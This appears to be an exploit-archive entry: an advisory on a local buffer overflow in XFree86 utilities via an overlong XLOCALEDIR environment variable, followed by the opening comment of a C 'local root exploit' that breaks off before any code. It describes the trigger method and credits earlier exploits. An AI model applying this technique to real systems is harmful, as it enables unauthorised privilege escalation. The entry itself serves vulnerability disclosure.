Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.

A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.

/* XFree86 XLOCALEDIR env local root exploit
  coded by aXis@ph4nt0m.net
  PH4NT0M SECURITY TEAM

  bug is reported at  www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4516
  this bug was founded by tarranta & dcryptr 3 january 2003
  dcryptr and angello have given exploits
  this exploit is base on that two exploits

  tested on REDHAT 9
  but there isn't a 's' for these two files.so we can't get a rootshell.

  just for fun!
